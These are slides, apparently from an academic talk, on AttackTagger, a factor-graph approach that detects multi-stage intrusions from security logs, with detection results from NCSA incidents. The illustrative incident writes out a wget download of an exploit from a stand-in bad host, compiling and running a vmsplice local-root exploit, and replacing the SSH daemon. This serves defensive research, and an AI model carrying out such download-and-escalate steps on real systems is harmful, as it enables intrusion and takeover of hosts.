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Magnitude of the Problem

Five-Minute Snapshot of In-and-Out Traffic within NCSA



Challenge

• Leveraging security logs to enable timely attack detection and 
effective corrective/recovery actions.

• Why is this hard?
 huge in-and-out network traffic rates;

 format/semantic heterogeneity of detectors; 

 several GBs/day of data;

 false positives;

 need to correlate multiple sources to obtain the “big picture”;

 analysis  is mainly manual.



Attacker

Target 
System

Firewall OpenSSH

Bro IDS Argus netflow File Integrity Monitor Syslog

Legitimate Users

$ wget server6.bad-domain.com/vm.c

Connecting to xx.yy.zz.tt:80… 
connected.
HTTP 1.1 GET /vm.c 200 OK

3. Download exploit

4.  Escalate privilege

$ gcc vm.c -o a; ./a

Linux vmsplice Local Root Exploit       
[+] mmap: 0xAABBCCDD
[+] page: 0xDDEEFFGG
…
# whoami 
root

2. OS fingerprinting

$ uname -a; w
Linux 2.6.xx, up  1:17, 1 
user
USER     TTY   LOGIN@  
IDLE
xxx   console 18:40       
1:16

1. Login remotely
sshd: Accepted <user> from <remote>

5. Replace SSH daemon
sshd: Received SIGHUP; restarting. 

Multi-Stage Attack

alice:password123
bob:password456
…

Password guessing

Email phishing

Social engineering

alice:password123
bob:password456
…

Need for continuous and comprehensive monitoring
• Heterogeneous host and network-level logs

Use probabilistic graphical models as an inference framework 
• Detection of progressing attacks

http://server6.bad-domain.com


From Security Logs to Probabilistic 
Graphical Models: Factor Graphs

suspicioussuspiciousbenign malicious malicious

RAW
LOGS time

$ wget bad-
domain.com/vm.c $ gcc vm.c -o a; ./a$ uname -a; wsshd: Accepted <user> sshd: Received SIGHUP; 

restarting. 

USER
STATES

benign
suspicious
malicious

DOWNLOAD_SENSITIVE COMPILEOS_FINGERPRINTLOGIN_REMOTELY RESTART SYS SERVICEEVENTS

time

Factor
function

http://bad-domain.com/vm.c


Enumerate possible 
s1, s2 state 
sequences

benign, benign
benign, suspicious
benign, malicious,
…
malicious, malicious

State inference

An example Factor Graph

Most probable s1, s2 is 
suspicious, malicious

Score(s1, s2) is the sum
of factor functions f1, f2, f3 f4

Known random variables
event e1 = download sensitive
event e2 = restart system service
user profile u: past_compromise = true 

Unknown random variables
state s1: user state when observing e1

state s2: user state when observing e2

Definition of factor functions

Factor Graph Representation of 
an Example Incident



Construct factor 
functions based on

past incidents

Extract events 
corresponding 
to an incident

Construct per-
user factor graph

Infer the user 
states

AttackTagger Workflow



Metrics: Detection timeliness &
Preemption timeliness

Attack duration



41 of 46 identified 
malicious users were 
identified before the 
system misuse

last eventfirst event

Detection Timeliness & Preemption Timeliness

Percentage of events observed 
until attack detection

46 of 62 malicious 
users were detected 
in tested incidents 
(74%)



Detection Performance Comparison

• Best detection rate (46 of 62 malicious users) 
• Small false detection rate (19 users of 1267 benign users)
• Captures hidden malicious users not identified in incident reports

Statistical test shows that performance of AttackTagger
is better than Support Vector Machine (SVM) not by chance



Conclusions

• Factor graph is a suitable representation of user/system state 
transitions in security incidents.

• Experimental evaluation of factor graph shows that a 
majority compromised users (74%) can be detected in 
advance (minutes to hours before the system misuse)

• Our approach can detect a variety of attacks, including 
hidden attacks that went unidentified by security analysts.
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